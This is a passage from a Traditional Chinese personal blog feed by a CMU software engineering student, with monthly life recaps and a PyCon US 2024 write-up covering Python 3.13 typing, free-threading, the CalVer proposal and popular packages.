<p>但其實我對自駕車一竅不通，我做的是比較偏 Infra / DevOps 相關的。會不會有心得文，就看我 8 月底離職的時候忙不忙吧，一切隨緣 ¯\_(ツ)_/¯</p>
<h2 id="-本月目標回顧---社交反思" class="relative group">🎯 本月目標回顧 / 👔 社交反思 </h2><p>上個月只訂了一個目標：Making <em>Meaningful</em> Connections，算是有點打了一個模糊仗，因為什麼算 Meaningful 其實很難區別，即便這個月都已經過完了，要我說什麼叫做 meaningful 似乎也有點說不上來。</p>
<p>但我在 PyCon 其中一天午餐有一段對話我覺得挺有意思的，值得記錄一下。他的名字叫 Fabio，幾年前從義大利舉家搬到美國德州工作，我問他覺得美國跟義大利最不一樣的地方是什麼？也許是因為他是來自熱情洋溢的地中海<sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>，他說他覺得在美國的 connection 都很表面 (shallow)；大家可以輕鬆的搭上幾句話，聊的像多年沒見的好友，但卻不容易深交，雙方交換聯絡方式，有空會出來喝一杯或 hangout 的狀況並不常見。大家見面的時候會有一套 SOP，一些聊天的話題，來快速認識一個人，然後聊不來就趕快找個空檔換下一個人。如果以感情世界的概念來套用，或許可以稱作「速食友情」？</p>
<p>但我又想到之前無意間滑到的一篇貼文：</p>
<blockquote>
<p>小時候，</p>
<p>我們會在某個公園遇到一輩子最好的玩伴，</p>
<p>然後再也不見</p>
</blockquote>
<p>所以我又何嘗不是忘了我曾經有這樣的能力而已？</p>
<p>再回到這個月的目標，我有成功建立 <em>meaningful</em> connection 嗎？我不知道。</p>
<p>但或許人與人之間的關係本就該順其自然的過就好，大家都是出來玩的，認真就輸了。</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><ol>
<li><strong>寫兩篇額外的文章</strong>：有兩篇的主題已經想好很久了，但是遲遲沒有時間寫，現在下班無聊應該可以來好好整理一下想法。</li>
<li><strong>幫這個 Blog 加留言板</strong>：這個也是想很久了，在一開始構想這個 Blog 的時候，應該是上線第一天就要有。只是我有一堆莫名其妙的堅持，導致明明三分鐘就可以搞定的東西拖了超過一年還沒出現。希望我可以趕快把他弄上來，<del>這樣現在在讀這篇廢文的你們就可以在下面無的放屎</del></li>
</ol>
<hr>
<p>好咧！下個月見！</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>懂嗎？WeRide 我們騎&hellip;&hellip;.&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>希望這個刻板印象不會太歧視 (x&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded><category>🍫 生活</category><guid isPermaLink="false">2024-may-dump</guid><pubDate>Sat, 01 Jun 2024 16:54:16 -0700</pubDate></item><item><title>PyCon US 2024</title><link>https://blog.tomy.me/zh-tw/posts/pycon-us-2024/</link><description>PyCon US 初體驗 🫶🏻</description><content:encoded><![CDATA[<p>沒綽！在體驗 🇹🇼 PyCon TW 和 🇩🇪 PyCon DE 之後，當然要來體驗地表最大的 PyCon：🇺🇸 PyCon US。</p>
<p>也剛好今年 PyCon US 辦在匹茲堡，也就是 CMU 所在的城市。也因此省下我不少的摳摳，也不需要大老遠飛到別的城市。</p>
<p>那就馬上來聊聊今年有些什麼吧</p>
<h2 id="-python-313" class="relative group">🐍 Python 3.13 </h2><p>即將在今年年底發布啦！</p>
<h3 id="-型別標識" class="relative group">🔖 型別標識 </h3><p>型別標識應該是 Python 近 10 年來最巨大的改變之一，重要到有一個專門的委員會在 PyCon 期間舉行了一個高峰會，用來討論和主導這個議題接下來的走向。</p>
<p>今年總共有 4 個 PEP 被接受並且實作。雖然這些變動乍看之下很難理解，但如果善加使用，編輯器和語法檢查的工具會能夠更理解你的程式，然後進一步在寫程式的時候提供更好的自動完成選項。</p>
<h3 id="-移除-gil" class="relative group">🔓 移除 GIL </h3><p>GIL 應該是 Python 最重要的元件，它會透過確保同一時間只有一個線程在執行，來避免程式出現 race condition，在大部分情境下其實非常好用。但是對於需要高速平行化運算的使用情境，GIL 反而成了一個嚴重的累贅，因為他會導致程式在同一時間只使用 CPU 的其中一顆核心，然後放著其他核心在旁邊閒著。但是 GIL 同時又是一個幾乎從 Python 誕生的時候就存在的東西，導致現在要移除它變得格外困難，因為有很多其他重要的核心元件也會使用或需要 GIL。</p>
<p>為了解決這個需求，Python 3.12 推出了 <a href="https://docs.python.org/3.12/whatsnew/3.12.html#pep-684-a-per-interpreter-gil" target="_blank" rel="noreferrer">sub-interpreter<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，就是為了讓某些程式能夠分割成多個小塊，然後讓它們在不同的 sub-interpreter 中執行，就不會受到 GIL 的限制。</p>
<p>但這仍舊只是一個臨時的解決方案，沒有真的從根源解決問題。社群裡的大家想要的，還是完全的把 GIL 移除，來解放 Python 所有的潛在性能，也就是所謂的 <a href="https://docs.python.org/3.13/whatsnew/3.13.html#free-threaded-cpython" target="_blank" rel="noreferrer">Free-threaded<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<p>去年，有一群 Meta 的工程師就這個問題<a href="https://discuss.python.org/t/a-fast-free-threading-python/27903/99" target="_blank" rel="noreferrer">討論<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>了一陣子，並且得到公司的支持來全力實作這個巨大的變動。</p>
<p>於是乎，路線圖、<a href="https://peps.python.org/pep-0703/" target="_blank" rel="noreferrer">PEP 703<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>、<a href="https://github.com/python/cpython/pull/116338" target="_blank" rel="noreferrer">第一支 PR<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>被陸續接受和實作。而 Python 3.13 即將成為第一版能夠在沒有 GIL 的情況下運行的官方 Python。</p>
<p>但要能夠在這個模式下運行，還是有很多限制，非常、非常多的限制。所以如果想要嘗試這個版本的 Python 可以看看<a href="https://gist.github.com/tonybaloney/24d545ed855a3c90f844209152835f07" target="_blank" rel="noreferrer">這個演講的筆記<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<h3 id="-calver" class="relative group">📅 CalVer? </h3><p>Hugo，也就是 Python 3.14 和 3.15 的發行主管在語言高峰會提出了一個新 Idea——把 Python 的版本命名改為 <a href="https://calver.org/" target="_blank" rel="noreferrer">CalVer<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<p>也就是說，如果這個提案最後成了，Python 3.14 和 3.15 會分別變成 3.25 和 3.26。</p>
<p>Python 長年以來一直依照 <a href="https://semver.org/" target="_blank" rel="noreferrer">SemVer<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a> 的方式在上版本號，但其實 Python 推出的時候，SemVer 根本就還不存在。當時的 Python 並沒有穩定的發行週期，也因此上版號的方式意外的跟 SemVer 的概念不謀而合。</p>
<p>但如今，Python 變成每年固定會發行一次，因此如果改成 CalVer 將會有更多額外的方便之處。如果有興趣的話，可以去看看 <a href="https://hugovk.github.io/python-calver/" target="_blank" rel="noreferrer">Hugo 的演講<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<h2 id="-幾個熱門的新-package" class="relative group">🌅 幾個熱門的新 package </h2><p>雖然這些 package 已經存在一段時間了，但他們攻下了今年諸多 Talk 的主題，值得在這邊留名。</p>
<ul>
<li><a href="https://github.com/pyscript/pyscript" target="_blank" rel="noreferrer">PyScript<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：隨著 WebAssembly 漸漸流行起來，越來越多人開始使用 PyScript 來直接在瀏覽器裡嵌入 Python 的程式碼。純 Python 的 package 現在也可以像 JavaScript 一樣，直接在文件的網站上放上一個 playground 或沙盒，讓使用者直接試用 API。</li>
<li><a href="https://github.com/PyO3/pyo3" target="_blank" rel="noreferrer">PyO3<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：PyO3 的流行幾乎是隨著 Rust 而來。透過把 Rust 程式包裝成介面，現有的 Python package 可以把底層的邏輯用 Rust 改寫，然後馬上就可以提升不少執行效率。</li>
<li><a href="https://github.com/duckdb/duckdb" target="_blank" rel="noreferrer">DuckDB<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>：SQLite 的目標是要成為一個像是 MySQL 和 Postgres 的簡易版的 RDBMS，而 DuckDB 就是要在 Analytical 資料庫界扮演同樣的角色。雖然目前還沒有太多把 DuckDB 在正式環境佈署的案例，但初期的開發者回饋似乎還不錯。同時也宣布了未來會有雲端版的 DuckDB，而這個雲端版不會單單只是一個託管的服務，而是透過在雲端檢索海量資料，然後讓部分資料處理在本機運算，來提昇整體效能。聽起來還挺有意思的，值得未來再多關注。</li>
</ul>
<h2 id="-雜談" class="relative group">🍭 雜談 </h2><p>再隨便寫些我覺得挺有趣的想法&hellip;</p>
<h3 id="-食物" class="relative group">🥗 食物 </h3><p>我 2021 年在歐洲交換的時候有去 🇩🇪 PyCon DE。德國跟美國有一個共同點就是，即便他們有標示午餐的菜名是什麼，但我永遠都看不懂。至於美味程度的話，就是天壤之別了。不太確定這麼難吃的食物是誰的責任，有可能 PSF 沒有足夠的資金或時間來安排餐點 (其實沒有毛病，我也沒有要責怪的意思)，又或是美國人已經完全習慣食物很難吃，導致他們也不打算再努力了。</p>
<p>但總之我真心期許他們明年能證明我錯了，嗯</p>
<h3 id="-為什麼都沒有褲紙" class="relative group">👖 為什麼都沒有褲紙 </h3><p>逛了一圈贊助商攤位，我拿到超多有的沒的品牌紀念品，像是 T 恤、帽子、甚至是襪子。但我就在想：為什麼沒有公司在發褲子？是怎樣，工程師都在家工作，所以不用穿褲子嗎：）</p>
<h2 id="-就醬" class="relative group">🌯 就醬 </h2><p>明年的 PyCon US 一樣會在匹茲堡舉辦。雖然我那時候應該也差不多要畢業，然後高歌離席了，但是這個日期挺接近我的畢業典禮，所以我想應該會一趟一口氣跑兩個行程吧。</p>
<p>那就明年見啦！</p>
<hr>
<h2 id="-鳴謝" class="relative group">🎀 鳴謝 </h2><p>特別感謝 CMU Office of Graduate and Postdoctoral Affairs 透過 Professional Engagement Funding 贊助我這次的門票。</p>
]]></content:encoded><category>🤖 開發</category><guid isPermaLink="false">pycon-us-2024</guid><pubDate>Tue, 28 May 2024 00:08:01 -0700</pubDate></item><item><title>2024 年 4 月報報</title><link>https://blog.tomy.me/zh-tw/posts/2024-april-dump/</link><description>感謝本集的贊助乾爹—— Postman</description><content:encoded><![CDATA[<p>真沒想到寫個部落格也可以寫到有廠商下廣告（？？？？（並沒有</p>
<p>怎麼這個月好像也是不知不覺就過完了 (抓頭)，原本想在舊金山回程的飛機上寫完這個月的報報，結果不知不覺就睡到匹茲堡了 QQQQQ</p>
<p>希望我可以在費城回程的火車上寫完這篇 (握拳</p>
<h2 id="-spring-carnival" class="relative group">🎡 Spring Carnival </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-april-dump/spring-carnival-aerial.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Spring Carnival 空拍圖"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">CMU 的春季嘉年華會！ Source: <a href="https://www.cmu.edu/engage/alumni/events/campus/spring-carnival/highlights.html" target="_blank" rel="noreferrer">CMU<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></figcaption>
</figure>
</p>
<p>概念上其實跟台灣大學的校慶/園遊會差不多，只是規模比較大，有各式各樣的活動四散在校園持續四、五天、所以也會放假讓大家各自去參加有興趣的活動。</p>


<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-april-dump/spring-carnival-ice-cream.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="免費冰淇淋"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-april-dump/spring-carnival-rides.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="遊樂設施"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<figcaption class="text-center">反正就是吃吃免費食物、玩遊樂設施</figcaption>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-april-dump/spring-carnival-booth.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Spring Carnival Booth"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">然後逛逛 Booth，今年的主題是 Arcade，所以有很多電玩相關主題的小木屋</figcaption>
</figure>
</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-april-dump/spring-carnival-musical-theatre.jpg"
      class="mx-auto my-0 rounded-md"
      alt="Scotch&rsquo;n&rsquo;Soda 小美人魚音樂劇"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">看看 CMU 戲劇社 Scotch&rsquo;n&rsquo;Soda 的年度公演——小美人魚的音樂劇，劇組和現場交響樂全部都是學生，我只能說檔次真的是比中興高太多 (沒有要偷臭：）</figcaption>
</figure>
</p>
<p>另外一個值得一提的 CMU 特色是 <a href="https://www.youtube.com/watch?v=lNYG6x2hWQo" target="_blank" rel="noreferrer">Buggy Race<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>，有點難形容，但大致上是人形賽車 (?)，可惜開賽時間一大早我剛好時差發作爬不起來，只有看賽後轉播 XDDD</p>
<h2 id="-超級瑪利歐兄弟-驚奇" class="relative group">⁉️ 超級瑪利歐兄弟 驚奇 </h2><p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-april-dump/super-mario-bros-wonder.jpg"
      class="mx-auto my-0 rounded-md"
      alt="超級瑪利歐兄弟 驚奇"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">Source: <a href="https://www.nintendo.tw/topics/article/3TCT7LvW5JmSpBZR4WnNnv2" target="_blank" rel="noreferrer">任天堂官方網站(台灣)<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a></figcaption>
</figure>
</p>
<p>最近稍微閒下來了一點，終於開始有一些閒暇娛樂 XDDD</p>
<p>自從我動物森友會解鎖大部分內容之後，我有好一陣子都沒有再碰我的 Switch 了 (或者說任何遊戲)，直到去年回台灣跨年的時候玩到新的瑪利歐，意外挺上手的，就想說回美國的時候應該要帶一片來有空認真給他玩一遍，結果回來的太倉促，整個就忘記了。原本想說順其自然就算了，等暑假有空再叫我弟幫我買再寄去西岸給我&hellip;&hellip;結果上個月隨口聊完，這張遊戲片就在我匹茲堡的家門口了 ¯\_(ツ)_/¯</p>
<p>於是我這個月的 CC 作業幾乎就是在「瘋狂寫 → 卡住 → 玩瑪利歐」的輪迴中度過，意外發現靠打電動清除腦內快取其實是一個蠻不錯的策略。</p>
<p>作為睽違 11 年之後再度推出的經典 2D 瑪利歐續作，這一版的內容可以說是遠超出我的期待，除了難度沒有像以前這麼難<sup id="fnref:1"><a href="#fn:1" class="footnote-ref" role="doc-noteref">1</a></sup>，內容也的確夠多樣、夠「驚奇」，不管是新的迷你任務、徽章系統、大象型態都為這一代的瑪利歐增添了不少樂趣。</p>
<p>另外一個值得提的就是，這次的關卡裡面經常會出現一個橘黃色的喇叭花，雖然對於通關沒什麼太大的幫助，但聽他講一些垃圾話還是挺好笑的，中文版這次也有幫他配音，這也是為什麼我會想要從台灣買遊戲卡寄來美國。</p>
<p>我印象最深刻的一關是，某一種新的怪物會吃掉路上的栗寶寶，然後會路過一朵會說話的喇叭花在旁邊說：「呼！幸好我不是栗寶寶！」然後下一秒吃到驚奇花之後，瑪利歐就變成栗寶寶被那個怪物攻擊吃掉。</p>
<p>我真的是好氣又好笑 😂😂😂</p>
<p>總之，跟大部分遊戲評測差不多，我給這一代的《超級瑪利歐兄弟驚奇》9/10 的高分，推推！</p>
<h2 id="-postcon-24-之再訪舊金山" class="relative group">🧑🏻‍🚀 POST/CON 24 之再訪舊金山 </h2>

<div class="flex flex-wrap md:flex-nowrap items-center gap-4">
  


  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-april-dump/tomy-at-postcon-24.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Tomy 在 POST/CON 2024 門口的照片"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>




  
  
  
  
  
  
    
    
  
  <figure>
    

    
      





  
  <picture  class="mx-auto my-0 rounded-md mx-1" >
    <img
      src="https://img.tomy.me/blog/2024-april-dump/postcon-24-mainstage.jpg"
      class="mx-auto my-0 rounded-md mx-1"
      alt="Post/CON 2024 主舞台"
      loading="lazy" decoding="async"
    />
  </picture>


    
  </figure>



</div>


<p>說到我念的這個 MSE Program，有一個跟其他碩士學程不同的地方，就是有一個職員：Sasha，專門負責跟校友、業界交流、洽談 Studio Projects 和 Practicum <sup id="fnref:2"><a href="#fn:2" class="footnote-ref" role="doc-noteref">2</a></sup>、還有幫助學生找工作。在一次因緣際會下，她在接洽 Postman 之後，對方決定贊助 5 位同學飛去舊金山參加他們的年度發表會—— <a href="https://www.postman.com/postcon/" target="_blank" rel="noreferrer">POST/CON<svg xmlns="http://www.w3.org/2000/svg" fill='#000000' viewBox="0 0 512 512"><path d="M320 0c-17.7 0-32 14.3-32 32s14.3 32 32 32h82.7L201.4 265.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L448 109.3V192c0 17.7 14.3 32 32 32s32-14.3 32-32V32c0-17.7-14.3-32-32-32H320zM80 32C35.8 32 0 67.8 0 112V432c0 44.2 35.8 80 80 80H400c44.2 0 80-35.8 80-80V320c0-17.7-14.3-32-32-32s-32 14.3-32 32V432c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16V112c0-8.8 7.2-16 16-16H192c17.7 0 32-14.3 32-32s-14.3-32-32-32H80z" /></svg></a>。</p>
<p>於是我就這麼<del>不小心賽中</del>被選為其中一員啦 ｡:.ﾟヽ(*´∀`)ﾉﾟ.:｡</p>
<p>Postman 是由印度人 Abhinav 在實習的時候為了測試所開發的小工具，發布後意外在紅起來，於是 Abhinav 帶著他的爆款產品來矽谷成立新創，至今也超過 10 年了。隨著這次的 v11 的發表，Postman 也順利搭上 AI、資安等各種領域的特快車，搖身一變成為一站式的後端開發平台。</p>
<p>







  
  
<figure>
  
    





  
  <picture  class="mx-auto my-0 rounded-md" >
    <img
      src="https://img.tomy.me/blog/2024-april-dump/cmu-mse-at-postcon-24.jpg"
      class="mx-auto my-0 rounded-md"
      alt="MSE @ POST/CON 2024 合照"
      loading="lazy" decoding="async"
    />
  </picture>

<figcaption class="text-center">我們這次也有幸在活動遇到 Abhinav 跟他聊聊創造 Postman 和創業的心得</figcaption>
</figure>
</p>
<p>跟去年來舊金山比起來，這一趟就真的完全是來「出差」，從飛機落地到起飛回匹茲堡，每天睜開眼睛就是參加 Conference 和畢業的校友吃飯之類的，中間幾乎沒什麼太多觀光的行程。但還是有很多收穫，雖然腦中大概有一些想法，但我想就留到下個月實習上工，思緒整理好之後再另外寫一篇吧！</p>
<h2 id="-下個月的目標" class="relative group">🎯 下個月的目標 </h2><p>上個月沒有目標，這個月目標只有一個：</p>
<blockquote>
<p>Making *Meaningful* Connections</p>
</blockquote>
<p>下個月要去 PyCon US！</p>
